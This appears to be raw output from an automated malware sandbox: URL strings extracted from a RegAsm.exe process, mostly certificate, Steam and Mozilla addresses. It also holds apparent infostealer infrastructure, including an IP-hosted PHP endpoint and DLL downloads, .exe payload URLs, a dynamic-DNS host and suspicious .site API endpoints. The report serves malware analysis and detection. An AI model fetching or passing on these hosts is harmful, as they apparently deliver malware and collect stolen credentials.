Source: RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll40
Source: RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
Source: RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dllX6
Source: RegAsm.exe, 00000012.00000002.2638069284.000000000122A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll
Source: RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll
Source: RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll
Source: RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
Source: RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2633856552.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php
Source: RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php&
Source: RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpG
Source: RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpp
Source: RegAsm.exe, 00000012.00000002.2633856552.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpry=----HJDBKJKFIECAAAKFBFBFultrelease
Source: RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/g
Source: RegAsm.exe, 00000012.00000002.2633856552.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109FHIEorm-data;
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.HJDGCBFHDAFB
Source: RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto
Source: RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.
Source: RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.FHDAFB
Source: RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org/
Source: RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.orgAFB
Source: file.exe, 00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hoptoBFHDAFB
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2192823083.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exe
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exe)
Source: RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exeata;
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2192823083.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2638069284.000000000122A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2afc5abea_vasd.exe
Source: RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2afc5abea_vasd.exeta;
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2638069284.000000000122A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exe
Source: RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exe1kkkk1252962http://files.veritas.org.ng/ldms/
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exe5
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exe:
Source: RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exeF
Source: RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exeommonProxyStub.dll
Source: RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exeta;
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: RegAsm.exe, 0000000E.00000002.2471886617.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/
Source: RegAsm.exe, 0000000E.00000002.2471886617.00000000014C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/6B
Source: RegAsm.exe, 0000000E.00000002.2471886617.00000000014C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/B
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/G
Source: RegAsm.exe, 0000000E.00000002.2471886617.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/I&M
Source: RegAsm.exe, 0000000E.00000002.2471886617.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/Z
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/freebl3.dll
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/freebl3.dlls
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/mozglue.dll
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/msvcp140.dll
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/msvcp140.dlle
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2192823083.0000000000D1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/nss3.dll
Source: RegAsm.exe, 0000000E.00000002.2471886617.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/ones
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/softokn3.dll
Source: RegAsm.exe, 0000000E.00000002.2471886617.000000000146D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/sql.dll
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/sql.dllO
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/sql.dllg
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com/vcruntime140.dll
Source: RegAsm.exe, 0000000E.00000002.2469818698.0000000000490000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2471886617.000000000146D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2469818698.000000000059C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2469818698.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80
Source: RegAsm.exe, 0000000E.00000002.2469818698.0000000000490000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80/2024
Source: RegAsm.exe, 0000000E.00000002.2469818698.00000000004C4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80/sql.dll
Source: RegAsm.exe, 0000000E.00000002.2469818698.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80CAE
Source: RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80DHC
Source: RegAsm.exe, 0000000E.00000002.2469818698.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80Local
Source: RegAsm.exe, 0000000E.00000002.2469818698.00000000004C4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80om24
Source: RegAsm.exe, 0000000E.00000002.2469818698.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://urusvisa.com:80xe
Source: RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000003.00000002.2201082978.000000001C2A3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2219210221.000000002226D000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2663356498.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2650106300.000000001B3E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agentyanlark.site/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agentyanlark.site/api
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://agentyanlark.site/api5
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bellykmrebk.site/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bellykmrebk.site/api
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2638069284.00000000012FC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: RegAsm.exe, 00000003.00000002.2192823083.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2638069284.00000000012FC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: RegAsm.exe, 00000009.00000002.2191128463.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=nSnUuYf7g6U1&a
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=engli
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=PzKBszTg
Source: RegAsm.exe, 00000009.00000002.2191128463.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WnGP
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
